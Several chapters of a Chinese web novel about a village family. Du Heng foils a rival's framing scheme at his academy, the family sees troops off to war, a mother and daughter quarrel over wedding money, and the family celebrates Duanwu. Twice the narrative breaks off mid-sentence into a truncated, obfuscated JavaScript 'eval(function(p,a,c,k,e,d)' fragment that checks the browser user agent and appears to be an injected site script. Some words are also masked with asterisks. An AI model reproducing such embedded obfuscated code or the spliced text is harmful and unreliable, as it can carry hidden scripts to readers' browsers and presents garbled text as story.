大家只会怀疑刚跟马飞翼有冲突的杜衡,若是牛安再趁机做点什么,比如颠倒黑白说杜衡无情无义,陷害大伯堂兄什么的。 杜衡的名声就毁了,甚至可能会被书院开除! 幸亏她不放心,幸亏她救下了马飞翼。 擦了擦额头被吓出来的冷汗,高娇娇强装镇定安抚马飞翼道, “若真如你所说,你明明写下的是正常借据,怎会变成了借的印子钱? 你确定那张借据是你亲手写的那张吗?会不会是有人模仿你的字迹伪造的?” 马飞翼愣住了,他愣了会儿,急忙抹掉眼泪对高娇娇道, “我,我当时太过慌乱,只看到借据上确实是我的字迹。 我也不明白怎么下面多了一行,我家里很穷,我,我读书也没有很厉害,谁会这么费尽心机害我呢?” 高娇娇见马飞翼脑子开始转动了,继续暗戳戳提醒道, “这个我就不清楚了,但肯定跟那个杜公子有关。 毕竟那个借据可是你亲手写给他的,除了他,旁人应该不知道才对。” 马飞翼努力回忆着跟杜公子那短暂的接触,反复琢磨他说过的每一句话,越想越觉得不对劲,越想越害怕, “他,他好像故意诱导我对付杜衡,他跟杜衡有仇,他,他想利用我报复杜衡?” 高娇娇忍不住抚掌赞道, “你说得对!看来就是那个杜公子害你,你啊,错把恶狼当好人了。” 马飞翼捶胸顿足,又是一通哭诉,骂杜有才,骂自己眼瞎,骂命运不公,骂老天爷不开眼。 高娇娇听的烦不胜烦,打断马飞翼,沉声道, “已经这样了,你骂再多也是无用,不如想想接下来该怎么办吧。” 马飞翼很无助,很绝望。 他能怎么办? 他根本不知道去哪儿找那个姓杜的,也打不过牛安那个粗鲁莽夫。 既没办法去山长那里自证清白,也没办法阻止牛安让他在书院待不下去。 高娇娇只得再一次善意提醒, “要不,你去找那个杜衡吧。 事情因他而起,他不帮你谁帮你?” 马飞翼觉得高娇娇说的有理,但又有些放不下脸面,不由很是纠结。 高娇娇无语的直翻白眼,都敢自尽了,还放不下脸面,真是个书呆子,难怪会被杜有才玩弄于股掌之中。 “你啊,多想想你老娘,她还生着病,你要是再出事,她一个人,怎么撑得住? 她辛辛苦苦把你养这么大,你舍得让她死了都没人埋?” 高娇娇的话,像一记重锤重重地敲在马飞翼的心口上。 他绝对不能让老娘落得如此凄惨的下场,他去找杜衡,哪怕跪下求他,只要能让他过了这一关,大不了以后他把第一拱手相让。 总算说通了这个木头脑袋,高娇娇好人做到底,把挂在树杈上的半截绳子取下来,让马飞翼拉着。 马飞翼十分担心, “姑娘,这样真的行吗?我好歹是个大男人,只是看着瘦,骨头很重的,你不一定能拽的动。” “别废话,抓紧了,听我口令!” 高娇娇耐心告罄,用不容反驳的强硬语气命令马飞翼。 马飞翼被她的威压镇住,不敢再多说什么,只能紧紧拉住绳子,听天由命。 高娇娇拽起绳子猛地用力一提,紧接着使劲一甩。 马飞翼只觉得自己整个被提了起来,然后就嗖的一下飞了出去。 他死死咬住嘴唇不敢叫出声,直到整个身体飞跃过院墙,砰的一声落在了地上。 地上满是杂草落叶,并不很疼,但是好晕。 马飞翼摸索着爬了起来,踉踉跄跄冲到狗洞口,看着已经快被夜色吞没,至今也没看清长什么样的姑娘,感激涕零。 “姑娘的大恩大德,马某没齿难忘,日后必当——” “行了,赶紧去找杜衡商量怎么解决你的麻烦吧,我走了。” 高娇娇可不想听这个书呆子的长篇大论,摆了下手,转身就往树林深处走去。 马飞翼趴在洞口,看着高娇娇的身影很快消失在了树林中,这才将狗洞堵住,去找杜衡。 杜衡听了马飞翼颠三倒四一番讲述,吓的后背直冒冷汗。 真是多亏了嫂嫂,要不他就成了逼死同窗的恶人了。 知道嫂嫂让马飞翼直接过来找自己是为了什么,杜衡立刻找到凌十三。 没过多久,凌十三就勾着牛安的肩膀,把他带到了他和杜衡住的号舍。 牛安还等着凌十三给他拿好吃的呢,结果刚一进去,就面前一黑,脑袋被套进了什么东西里。 不等牛安挣扎喊叫,后颈就挨了一记手刃,牛安眼一番,直接晕死了过去。 马飞翼吓的直喊, “你,你们不会是想杀了他吧?” 凌十三瞪眼怒道, “你脑子让驴踢了,我们杀他干嘛? 别吵吵,要不连你一起打晕。” 马飞翼赶紧捂住嘴缩在角落里,他忍不住怀疑自己来找杜衡是对是错。 眼前的杜衡,跟平日里在大家面前的杜衡,完全不一样。 杜衡见凌十三控制住了牛安,从床头藤箱里翻出针线包,取出一根针放在火上烧了烧。 然后让凌十三拽掉牛安头上的布袋,抬手就朝他的人中扎了下去。 牛安幽幽醒来,发现自己被五花大绑还堵住嘴躺在地上,前面坐着面无表情的杜衡,两边站着凶神恶煞的凌十三和徐六,不由脸色发白,瑟瑟发抖。 “牛安,我同你远日无怨近日无仇,你却处心积虑要置我于死地。” 杜衡缓缓开口,眼神冰冷,不带一丝感情, “念在同窗一场,我让你死个痛快。 临死前,你还有什么想说的,我给你个机会都说出来。 别想喊叫求救,更别怀疑我们敢不敢动手,但凡逃荒过来的,谁手上没沾过人血。 你老实点,我送你个痛快。 你要是敢动歪心思,我就把你的骨头全部打断,割了你的舌头,把你塞到床底下,让你求生不得求死不能。” 牛安抖的更厉害了,马飞翼害怕地闭上了眼睛,觉得自己来找杜衡,是最错误的决定。 他不会也要被灭口吧? 娘,儿子不孝,刚出了狼窝,又进了虎穴啊! 第二百六十七章 美人计 牛安见杜衡是真要下死手,扛不住,只得说实话。 那张借据是小桃红给他的,说是她一个恩客随手给的,小桃红不方便来书院讨要,就让牛安帮忙把这笔银子收回来。 牛安最近手头有点紧,又想讨好小桃红,便应下了此事。 他不知道这张借据的主人是谁,也不清楚马飞翼为何会欠人钱,更不知道借据下面多加了一行字,只觉得欠债还钱天经地义。 根本没想到就因为这点小事,能给自己惹来杀身之祸,肠子都快悔青了。 杜衡再三确认,发现牛安确实不知情,脸色不由更加难看。 杜有才这一环套一环,手段比当初高明了不知多少。 他不能每次都指着嫂嫂帮忙,也不能时时提放着杜有才报复,得想个办法永绝后患才行。 次日中午,高娇娇提着一篮子东西过来找杜衡。 杜衡借着接篮子,压低声音将自己的发现告诉了高娇娇。 高娇娇听得眉头直皱,杜有才这个局做的比之前高明太多,完全没给他们留下把柄。 即便有马飞翼做人证,又有借据做物证,甚至拉来小桃红,都无法证明杜有才的罪行。 毕竟最重要的受害者马飞翼,他是自己想要寻死,还没死成。 他们能告杜有才什么? 故意逼死马飞翼,指使马飞翼污蔑杜衡? 根本没有证据能证明这一切都是杜有才干的,连立案只怕都不可能。 杜衡也很苦恼,但面上不显,反而安慰高娇娇道, “嫂嫂不必担心,我会小心提防,不会中了杜有才的算计。” 高娇娇放心不下,哪儿有日日防贼的道理,她突然想到一计,不知道可不可行。 杜衡见高娇娇欲言又止,主动询问, “嫂嫂想说什么不妨直说,咱们之间无需见外。” 高娇娇有些心虚地看了眼四周,见看门老大爷悠哉悠哉地品着茶,没看他们,忙小声道, “我想着要不要从小桃红那里想想办法,你说,要是小桃红挺着肚子找上门。 乔氏就算性子再温吞,再没主见,怕是也不能忍吧?” 杜衡愣愣地看着高娇娇,一脸受惊过度缓不过神的样子。 高娇娇讪讪摸了摸鼻子,试图往回找补, “我就是,那个,听戏文里都是这么唱的,就随口一说。 你要是觉得不妥,就当我没说,我也是心里急,病急乱投医,呵呵。” 她不该挑战孩子的接受程度,这种有点阴损的招,以后还是自己悄悄动手算了。 正当高娇娇懊悔自己嘴比脑子快,什么都往外说时,杜衡开口了, “嫂嫂,我觉得这个法子甚好,可以一试。” “啊?!” 这次轮到高娇娇震惊了,杜衡看着她瞪的圆溜溜的眼睛,忍不住想摸摸她的头。 真是太可爱了。 可这不合礼数,杜衡只能努力将手摁住,一本正经对高娇娇说出自己的想法, “正如嫂嫂所言,打倒杜有才的关键在那位乔氏身上,只要失去了乔氏的支持,杜有才就是秋后的蚂蚱,蹦跶不了几天了。 杜有才包了小桃红好几天,两人的来往不光春香院知道,衙门里的人也知道。 乔氏只要起了疑心,稍稍查一下就能知道杜有才跟小桃红有来往,知道刚新婚的丈夫抛下自己不光是出去做生意,还花天酒地了。 乔氏心中肯定会有不满,甚至抱怨。 杜有才损失了那么一大笔货,还在岚县丢了脸,想来心中也有些怨恨知府夫人的冷漠无情。 两人若是因此事闹了起来,乔氏说不定就能看清杜有才的虚情假意,主动跟杜有才和离。 嫂嫂这招美人计实在是高明,比我苦思冥想搜集证据,去衙门控告杜有才的法子要好的多。” 高娇娇见杜衡认可自己的法子,很是开心,一个没忍住又说了心里话, “我还以为你会嫌这种法子阴损呢,担心你不想跟小桃红那种身份的人来往。” 杜衡怔了下,笑着摇头道, “嫂嫂多虑了,我又不是那么古板迂腐的人,只要能达成目的,有时候,我也会不择手段的。” 高娇娇看着依然笑的人畜无害,话语中却隐约透出彻骨冷意的杜衡,愣了下,笑了起来。 是啊,她怎么给忘了,这小子可是差点把自己腿跪断,都硬撑着不肯认罪。 直到去了衙门,才拿出关键证据,当场反杀让杜有才不得不认罪的狠人啊。 在村里住久了,安稳日子过多了,还真把他当成单纯孩子了。 两人飞快说好接下来的安排,高娇娇转身离开,杜衡从篮子里拿出一串粽子,递给看门大爷, “总是麻烦您老,怪不好意思的,这是家里送来的吃食,您老尝尝。” 大爷笑着接过,随口夸了一句, “你小媳妇还真疼你,天天给你送好吃的,你小子可要好好读书,早日考取功名,给她挣个诰命啊!” 杜衡心头一颤,想解释高娇娇不是他媳妇,是他大嫂。 可话到嘴边,却不知怎地又咽了回去,没解释,也没应声,只微微颔首转身离开。 他步子跨的很大,走的飞快,心里像是被火烧一样,又痛又烫。 可他任由这难受的滋味蔓延开来,不想停止,他要考取功名,要给她挣诰命。 管她是嫂嫂,还是别的,她都是他最珍重的人! 这点他从不怀疑。 高娇娇回了小院,见高春花还在鼓捣腾那些绸缎纱布什么的,便找了个借口又出了门。 在春香院后门斜对面不远处找了个茶馆,在靠窗的位置坐下,点了一壶茶,要了两盘点心。 高娇娇坐了一下午,发现从下午申时过后,时不时就有丫鬟小厮模样的人从春香院后门跑进跑出。 不是来茶馆买糕点茶水,就是去外头打酒买烤肉,还有就是去胡同口的一家胭脂铺里买东西。 直到天色暗沉,春香院开门迎客才渐渐少了起来。 高娇娇见铺子都快打烊了,赶紧起身,把春香院的人常去的几家铺子走了一遍。 借着买东西随口跟店铺掌柜伙计攀谈,说起自己在城门口的见闻,有意无意透露几句那个被扣了货物的倒霉药贩子的消息。 然后在掌柜伙计听的津津有味,拉着她想要继续追问时,借口急着回家,快步出门。 如此这般逛完几家铺子,高娇娇估摸最迟明天,杜有才拐骗了知府夫人的表妹,惹怒了知府大人。 不仅不出席他们的婚宴,连他货物被扣也不管不问,坚决撇清关系的消息,就会传入小桃红的耳中。 小桃红能在风月场上混的风生水起,坐稳春香院的头牌交椅,自然是个聪明人。 人都是拜高踩低见风使舵的,聪明人趋利避害的本能更加明显。 高娇娇相信,小桃红只要意识到杜有才是个吃软饭的废物蛋,但身上有油水可以大捞一笔,肯定不会放过这块送到嘴边的肥肉。 等杜衡在书院那头说动徐六和牛安,再由他们透露出一些内幕消息,惹得小桃红动了去并州府勒索杜有才一大笔的心思,这事就成了。 但后续能否如愿,高娇娇就帮不上忙了,她能做的已经做完了,剩下的就看杜衡的了。 杜衡回到书院,并不急着动手,而是不动声色开始笼络马飞翼和牛安。 杜有才这一举动让杜衡意识到独木难支,他必须在书院建立起自己的人脉,才能更好的保护自己,也能方便做一些事。 虽然杜衡一贯冷冷清清,不喜欢跟人走的太近,但这不代表他不会拉拢人。 只要他有心拉拢,几乎没人能拒绝他。 因为他的外表太有欺骗性,又非常擅长揣摩人心。 第二百六十八章 送行 知道马飞翼古板死脑筋,上进心强,自尊心强。 杜衡就跟他聊课业聊行文的写法,聊幼年的清贫,一路逃荒过来的不易。 很快就触动了马飞翼的内心,让他放下了之前的不快,把杜衡视为知己。 可是在面对徐六时,杜衡则只字不提这些,只展现自己的聪明才智,行事做派。 徐六虽然不学无术,但为人仗义,又深受家中影响,做人做事都有自己的一套。 见杜衡出手狠辣,处事果断,脑子灵活,不是那种只知道读书的书呆子,还非常谦虚讲义气,便有了结交之意。 杜衡有心,徐六有意,两人一拍即合,自然越走越近。 至于牛安,杜衡不是结交,而是收服。 牛安出身不太体面,父亲是赌坊的管事,阴损的事干过不少。 他进入书院也不是为了考功名,而是多结交些人脉,想找个门路去衙门混个差事。 他这人贪财好色,还总想不劳而获,是个大大的俗人。 但优点也很明显,识时务,懂分寸,拿得起,放得下,是个很好用的人。 想要收服他,不仅要让他怕,更要让他敬畏,最最重要的是要让他清楚,给自己当手下有利可图。 这样才能让他心服口服,忠心跟随。 高娇娇做完自己该做的事后,就没再管这件事,转头忙别的事来。 去牙行打听打听情况,去粮铺打探打探消息,再时不时去城门口转转,问问平叛大军到底什么时候路过。 终于在第三天的时候,打听到了确切的消息—— 今日午时,知县大人会带领全县文武官员,在城门口为平叛大军送行。 高娇娇赶紧回小院叫上高春花,拿上早就准备好的包袱,在城门口等着。 离午时还有一个多时辰,城门口两侧已经挤满了人,除了给亲人送行的人,更多的是看热闹的人。 大家都想看看平叛大军是什么样,领兵的将军威风不威风。 高娇娇仗着身量小力气大,死死拽着高春花,没被人流挤走,如磐石一样立在最前面。 顶着大太阳等了又等,终于等到锣鼓喧天鞭炮齐鸣,一支队伍在众人的簇拥下走了过来。 最先出现的是军旗,黑底的旗帜上,红色的“顾”字在阳光越发鲜艳,和旗杆顶端系着的红缨对称,如同燃烧着的火焰。 紧接着是整齐的方阵,墨色盔甲泛着冷冽的光芒,长枪如林,直至苍穹,气势汹汹。 “来了,来了,领头的是顾小将军,他穿的盔甲跟旁人不一样,好威风啊!” 有人激动地低呼起来。 高娇娇这才将视线从方阵移到了前头,却没看到那位顾小将军的脸,只看到了一个骑在高头大马上,笔直挺拔,穿着银色盔甲的背影。 确实很威风,银光闪闪,那身盔甲一定很值钱。 努力在方阵中搜索了一圈,高娇娇看的眼花缭乱也没找到高大宝几人中的任何一个。 人太多,又都穿着一样的铁甲,戴着一样的头盔,实在难以分辨。 周围过来送行的人,倒是争先恐后送出了东西,这个塞衣服那个塞干粮。 这个喊儿子,那个喊兄弟,还有刚成亲没多久的小夫妻,不舍地拉着手不放开....... 看的高娇娇更加郁闷,怎么谁都能找到人,偏她眼睛都快瞪酸了,却一个也找不到。 正要扭头问问高春花有没有看见,突然见一个小兵冲她招手并大喊, “姑姑,姑姑.......” 跟布谷鸟一样一连串的大喊,让高娇娇瞬间成了人群的焦点。 刚给儿子塞了干粮正在抹眼泪的大娘,手还没完全放下,就忍不住好奇了起来, “你这姑娘看着也没多大啊,真是他亲姑姑吗?” “肯定不是亲的吧,你看着还没他大呢,怎么可能是他亲姑姑?” 另一个大婶也表示了质疑。 甚至刚才还跟丈夫生离死别的小媳妇,都看了过来。 高娇娇嘴角抽了抽,扯出一丝笑含糊解释了句, “他是我大侄子,我是他小姑姑,我娘生我比较晚。” 众人纷纷点头,一脸了然。 这就说得通了嘛,大娘还忍不住感叹了句, “那你娘真是厉害的很,能老蚌生珠的可都不是一般人啊。” 高娇娇无语的很,这话听着怎么就那么别扭呢。 不过,这个不重要,重要的是赶紧把包袱塞给高大宝。 高娇娇凑过去叮嘱高大宝, “大宝,这里面除了干粮和药,还有十个二两的银饼,你们五个每人两个,贴身藏好。 万一,我说万一遇到啥事,手里有钱心里不慌,无论如何也要平安回来啊!” 高大宝愣了下,立刻就要把包袱退回去。 这么多银子,他可不能收。 他不能在家尽孝,已经够对不起家里了,哪儿能还让家里拿银子贴补啊? 高娇娇强势塞了回去,佯装怒道, “收着,不然我可要生气了。 放心,家里不缺钱,你姑姑我厉害着呢。” 高大宝没办法,只得把包袱收好,红着眼用力握了握高娇娇的手, “姑姑,我们一定会活着回来,也一定会好好表现,争取立功,不会让你们失望的。” 高娇娇想说不管你们能不能立功,只要好好的,我们就不会失望。 可当着这么多人说这种话好像不太好,加上高大宝也没功夫听她再多说些什么,他得赶紧追赶队伍去。 高娇娇只得跟着众多舍不得离去的人一起,追在队伍后头,一直将他们送到了城外三里亭。 看着知县大人带着早就等候在此处的衙门官员,将五辆装满了东西的大车送给了顾小将军。 顾小将军翻身下马,向知县等人抱拳一礼,朗声道, “多谢王知县和诸位赠予的厚礼,顾某和众将士感激不尽! 此次南下,我等必不负皇恩,奋勇杀敌,尽快平息暴乱,还天下苍生一个太平盛世!” 王知县带着衙门官员回礼,跟过来的百姓纷纷鼓掌叫好,恨不得顾小将军立刻就能平息叛乱,天下太平。 送行结束,顾小将军翻身上马,抬手一挥, “全军听令,出发!” 号角声响起,大军开始移动。 高娇娇奋力踮起脚尖也什么都看不清了,队伍实在太长,人实在太多,而她又实在是太矮了。 事也办了,人也送了,高娇娇和高春花立刻回到小院,拿上这两天买的东西,从车马行雇了辆马车,赶紧回家去。 兴许是天热了,大中午连土匪强盗都不想出门,也可能是车马行的面子大,一路没遇到任何危险,顺顺当当到了村口。 高娇娇正抬着袖子给自己扇风,这鬼天气说热就一下子热了起来,尤其是中午,真是堪比酷暑。 幸亏她买的是做粽子的材料,不是直接买的粽子,要不非给热的馊了不可。 就是这包粽子的竹叶不太满意,她喜欢绿的嫩叶,可只能买到黄的干叶子。 条件有限,只能凑合了。 正惋惜着,忽然听到有人喊,高娇娇忙抬起头,就见高二宝一溜烟冲她们跑了过来,一边跑还一边喊, “姑姑,姑姑,发了,发了.......” 高娇娇顿时激动了起来,难道是她不在家这三天,谁又从山里找到了值钱的好东西,她又能躺着发财了? 第二百六十九章 不孝女 结果,是番麦发芽了。 高娇娇被高二宝拽着,一路小跑到了地头,看到刚刚破土钻出来的嫩芽,也很开心。 但还是没忍住抬手拍了高二宝脑袋一下, “啥发了发了,这叫发芽,下次把话给我说全乎了。” 害的她白高兴了一下,还以为能躺着再发笔财呢。 不过还有比发财更值得高兴的事,高长天告诉高娇娇他带人进山,找到了那头老虎,发现老虎应该是怀崽了,才会重回老地盘。 现在老虎更怕人靠近,只要他们不主动招惹,想来老虎应该不会故意伤人。 高娇娇听到这话不由松了口气,只要老虎不下山,他们就能继续过安稳日子。 高大壮已经带人种完了稻子,现在正帮着盖房子。 朱钰已经看好了日子,后天就能上梁了。 他的房子,还有医馆的房子,上了梁,铺了瓦,再粉刷一下里外墙,就算是建好了。 好事一件接着一件,大家的日子越过越好,高娇娇很是高兴,嚷嚷着让大家都来她家,一起包粽子过端午。 高长天自然没意见,还说要带野味过来一起吃顿好的。 他这次进山虽然主要是寻找老虎的踪迹,就带了几个人,才在山里待了一天,但也捎带手打了一头羊和几只野鸡兔子。 打来的猎物少,就按猎户的老规矩,谁打到算谁的。 高长天打到的猎物,自然要给闺女留下最好吃的肉。 朱钰也愿意一起过节,傲娇表示自己不喜欢吃红枣粽,更喜欢吃花生粽,还有比起烤肉,他更喜欢吃烤鱼和炒河虾。 高娇娇无有不应,这可是他们落户后的第一个重要节日,当然要好好庆祝一下。 她不光买了包粽子的材料,还买了五色线和驱虫的香包,还有两坛据说是并州府最好喝的竹叶青酒,足够大家一起好好过个节了。 姚春香过来帮高娇娇整理带回来的东西,一边夸买的好,一边又替她心疼花出去的钱。 高娇娇笑着拿出两卷布,递给姚春香道, “这是今年刚上的细纱棉,据说比纱结实,比细棉布凉快。 我买了一卷深紫一卷浅蓝,娘,你也给自己做身裙子穿穿呗。 我看成衣铺子用这两种颜色做出来的套裙可好看了,娘你穿着肯定也好看。” 姚春香摸着细腻顺滑的布,眼眶有些湿润,她也是享上闺女的福了啊。 除了闺女,谁会对她这个老婆子这么贴心,还想着让她穿裙子来着。 但嘴上,姚春香还是忍不住抱怨, “花这冤枉钱干啥,我一天到晚不是在地里就是在家里干活,穿裙子不方便。 这么好的布可不便宜,还是给你做衣服吧,自打出来逃荒,我都没好好给你做过衣服呢。” 高娇娇忙站起身,转个圈展示自己的新衣服, “娘,我给自己买了,城里最时兴的样式,上好的细纱棉,一身八两银子呢,你看,绣的花多好看。” 姚春香一脸宠溺摸了摸高娇娇的小脸道, “八两咋了,就我闺女这相貌气度,别说八两一身,八十两一身的也穿得。 要不是因着那个短命鬼才**不到一年,我早就让你三婶给你做绣花裙子了。 你这年岁就该穿的漂漂亮亮,别整天跟那些皮小子一样弄的灰头土脸的,不好看。” 高娇娇笑着扑到姚春香的怀里,哪怕这里的生活再不安定,未来再不确定,有家人陪伴,有爹娘疼爱,她也甘之若饴。 娘俩腻歪了会儿,高娇娇把布硬塞给了姚春香,非要让她在端午之前做出一身新衣服穿上。 姚春香拗不过闺女,便收下了。 帮着做了饭,又烧了一大锅水让高娇娇好好洗了个澡,把包粽子要用的食材都洗好泡好,姚春香这才回了自己家。 一进院子就听见东屋传出争吵声,再一听,是老大媳妇在冲春花发脾气。 想到春花买回来的那两大包东西,姚春香不由叹了口气,以老大媳妇那抠门的性子,看到春花买了那么多东西,肯定要闹一闹。 不让她把这口气发出来,家里就别想安生。 姚春香虽然有点心疼高春花,但还是忍住没管回了自己屋。 东屋,刘小翠看着堆了满满一床的东西,想到高春花到手还没焐热的三十两就这么花没了,心疼的直抽抽。 她忍不住戳着高春花脑袋骂, “才得了几个钱就把你飘的不知道天高地厚了,三十两银子啊,你一文钱都不给家里留,进城一趟就全花了。 我怎么就生了你这么个败家玩意儿,日子要照你这么个过法,家里就算有金山银山都经不住你这么花。 都跟你说了八百遍,你们在村里办事就是走个过场,你还买这么贵的绸布干啥? 还有这些纱布,买它干啥? 就咱们这破窑洞你还非得挂个窗纱,我看你真是作的不轻.......” 高春花忍了又忍,还是没忍住,闷声道, “这是我自己挣的钱!” 刘小翠简直要气死,嗓门越发高了起来, “你的钱?你个小没良心的,老娘生了你养了你,你还没嫁出去呢,就生了外心。 老娘都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么想着,挺直着后背等着即将到来的暴风雨,高春花奇异的发现自己并不害怕,反倒有种挣脱束缚的松快。 也许她生来就不是个好东西,她就是个连自己亲娘都怨恨的白眼狼,可那又怎样? 她没有做任何对不起旁人的事,她没**放火为非作歹,没偷奸耍滑坑蒙拐骗,所以她凭啥不能过自己想要的日子? 第二百七十章 反抗 姚春香正在屋里裁剪布料,准备做衣服。 听到隔壁吵的越来越大声,老大媳妇哭嚎着跑了出去,赶忙扔下剪刀,快步冲了出去。 刘小翠一口气冲到院门外,正想放开嗓门大声哭嚎一番。 她要让全村人都知道高春花那个白眼狼忤逆长辈,不孝敬亲娘,她要让狗子知道死丫头的真面目。 让那个臭丫头知道跟她对着干的下场,她可是她娘,她生了她,她的命就该是她的! 可刚嚎出声,还没开始哭诉,就被人捂着嘴一把拽回了院子。 紧接着,就听到婆婆喊春花, “春花,去,把你爹喊回来!” 刘小翠不由委屈万分,她都被亲闺女气成这样了,婆婆居然还想拿孩他爹压她。 都分家了,她一个做娘的连自己闺女都不能管了吗? 姚春香感觉手背上有温热水滴落下,低头一看,见老大媳妇正哭的起劲,赶忙把手松开。 很是嫌弃地掏出帕子擦干净,姚春香沉着脸冲刘小翠道, “把你那猫尿收收,跟我进屋来。” 说完又不放心警告道, “别跟我嚎,你敢乱叫我就把你嘴堵上,就算分了家,我也是你婆婆。 婆婆管教儿媳天经地义,你最好识相点,别逼我动手,弄的大家都难看。” 刘小翠想要大闹特闹的心,一下子被掐**,更加委屈不甘,咬着嘴唇哭的肝肠寸断。 她的命怎么就这么苦啊,呜呜呜....... 等到高大壮急匆匆跑回来,见媳妇哭的眼泪鼻涕一大把,身子都一抽一抽的。 老娘板着脸盘腿坐在炕上,拧着眉抿着唇,看着像是已经忍耐到了极限,下一刻就要抬手**了。 高大壮忙小心询问, “娘,咋了?” “还咋了?要不是你眼瞎非把这种玩意儿娶回家,老娘至于年纪一大把了还要管你们这些破事?” 姚春香的火气全部朝高大壮发,抬手就朝高大壮肩膀拍了过去。 儿媳妇她不能打,儿子她总打了吧。 **,打的高大壮缩着肩膀拼命求饶, “娘,都是儿子不孝,您老消消气,消消气,千万别气坏了身子啊......” 刘小翠见男人被打,心疼万分,顾不得自己委屈不委屈,赶紧扑过去跪下抱住姚春香的腿,哭着哀求道, “婆婆,千错万错都是儿媳的错,您要实在生气就打我吧。 孩他爹这些日子累坏了,身子亏空的厉害,您再打就要把他给打坏了。” 姚春香无奈地收回了手,捏了捏眉心。 这就是她拿老大媳妇没辙的最主要原因,老大媳妇虽然哪儿哪儿都不行,但她对老大,是真的死心塌地啊。 见老娘不打了,高大壮赶忙拽起刘小翠,陪着笑,好言好语询问起缘由。 得知是因为媳妇为了省钱,不给春花好好置办成亲用的东西,春花用自己赚的钱买了东西,还被她骂。 高大壮不由很是无奈,家里又不是穷的揭不开锅了,哪儿至于抠门到这个地步。 再怎么说也是闺女的终身大事,怎么能随便凑合一下得了,更何况狗子还给了那么多聘礼呢。 刘小翠小声为自己辩解, “我不也是想省点钱嘛,秋花眼看也到了要成亲的年纪,下面还有雪花呢。 咱俩又没有儿子,将来肯定要招婿入赘,多攒点家底,也能给雪花招个好女婿,对咱们更孝敬不是?” 高大壮更加无奈,他又不是不赚钱了,雪花才十岁,离招婿还早着呢。 再说,即便是赘婿,他也不会招个冲着他家钱财来的,那种贪财的人,根本养不熟。 退一万步说,家里还有大宝二宝三宝呢,他们难道还能不孝敬他这个大伯?还能眼看着他这个大伯因为没儿子被人欺负了? 姚春香见高大壮跟刘小翠也说不通,干脆一挥手直接道, “你把春花自己攒的银钱,和狗子给的银钱都给我,俩孩子成亲的事我来操办,不用你管了。” 刘小翠急了,不就成个亲,哪儿用得了那么多银子? 可高大壮抢先道, “那就劳烦娘了,孩他娘,赶紧把银子拿来给娘。 娘操办这些经验丰富,可比咱们强太多了,有娘操心,咱俩可算是省心了。” 男人发话了,刘小翠再不情愿,也只得交银子。 高春花没想到自己这么顶撞亲娘,非但没被家里长辈怪罪,奶还愿意帮她筹办婚事,不由感动万分。 等到爹娘离开,高春花扑通跪下,给姚春香磕了个头,哽咽着道, “奶,孙女不孝,让您费心了。” “傻丫头,你是我大孙女,我是你奶,我不疼你,谁疼你啊。” 姚春香把高春花扶起来,嗔怪地拍了下她的头,不等她再多说什么,指了指西屋那边压低声音道, “家里闹出这么大的动静,狗子肯定也听到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几个小娃娃正蹲在池塘边的石板上,一眨不眨地注视着水面,不知是在钓鱼还是在钓虾。 走下铺了台阶的斜坡,走到长长的青石板上,看到领头的居然是三宝,正教别的小孩如何打窝子呢。 高娇娇用力咳了声,高三宝扭头看到姑姑来了,不由手一抖,刚捏好的面团噗通掉入了水中。 郭玉书和常小虎几个也怯生生地看着高娇娇,生怕被骂。 大人都叮嘱过他们不许去池塘里钓鱼,因为池塘里的鱼是高家姑姑养的,不像河里的鱼,是自己长的。 可他们太小了,没大孩子带着,大人们不许他们去河边,他们又想钓鱼的很,就趁着大人们都下地了,偷偷过来玩一下。 结果,就被高家姑姑逮了个正着。 第二百七十一章 过端午 高娇娇好笑地看着他们,从高三宝脚边的破瓷碗里捏起一块面团闻了闻。 “香油放了不少,蚯蚓放的不够,水放少了,面团太硬,不够松软。 打窝子要么早上太阳刚升起,要么下午太阳快落山的时候来,那时候鱼都会浮出水面透气。 饵料扔进去,没一会儿就能引来一群鱼。” 郭玉书怯生生问, “姑姑,你不生气我们来这儿钓鱼吗? 我娘说这里头都是你养的鱼,不让我们来。” “当然生气啊,大人都说了不让你们来,你们还来。” 高娇娇假装生气,挨个敲过这几个小豆丁的脑袋,没好气道, “就你们这么点高的小孩,扑通掉进水里就淹**,以后不许偷摸摸自己跑来玩。 真想钓鱼,等过些天养鸭子的小池塘挖好了,你们去那边钓,那里水浅。” 小家伙们顿时高兴了起来,围着高娇娇七嘴八舌问个没完,好不容易把他们打发走,高娇娇觉得自己的耳朵都快聋了。 扔了把饵料到水里,看了看浮出水面鱼的大小,又看了看已经种下的芡实,长势一片大好,高娇娇心满意足回了家。 端午节当天,一大早高娇娇就被高春花喊醒了,叫她一起去河边洗脸。 老家那边的风俗说是姑娘家端午用河水洗脸,皮肤会变得白嫩水润,实在没条件去河边的,就提前一晚用桃树枝泡好水,洗了也能变美。 高娇娇虽然不信,但也愿意参与一下。 节日嘛,就是找个正大光明的理由给平淡的生活添一点热闹。 打着哈欠,带着一家大小走到河边的时候,河边已经来了很多人。 不仅有小姑娘,还有大姑娘和小媳妇,大家嘻嘻哈哈洗了脸,商量着谁家有什么颜色的线,大家凑一凑,一起做五色线。 高娇娇早就从城里买来的五色线,回了家截成段,一家大小,从脖子到手腕脚腕都系上。 再往腰上系一个装了艾草、丁香、山艾、细辛、甘松、白芷等药材的香包。 不仅香气宜人,还能驱虫、避瘟、防病,可以从端午一直戴到夏至,再换清凉解暑的药材。 早饭也是按老家的习俗做的,煮了粽子,鸡蛋和咸鸭蛋,还有整颗的大蒜。 姚春香还拿来两个煮熟的鹅蛋,让高娇娇他们分了吃,说鹅蛋能补气,吃了对身体好。 吃过早饭,去地里看了会儿雇工锄草,从杂草堆里挑出能喂牲口的装一筐背回去。 又把小鸡放进已经盖好的鸡棚里,挑了一缸水,劈了一堆柴,高娇娇能做的事就做完了。 剩下就是看姚春香带着众人准备午饭了,羊排和羊腿洗干净腌起来,等会儿烤了吃。 羊杂处理干净留着做汤,野兔剁成块,野鸡整只塞进砂锅,准备炖鸡汤。 草鱼开肠破肚刮鳞片,河虾剪掉胡须和虾脚,银鱼洗干净先腌上,五花肉洗净切块....... 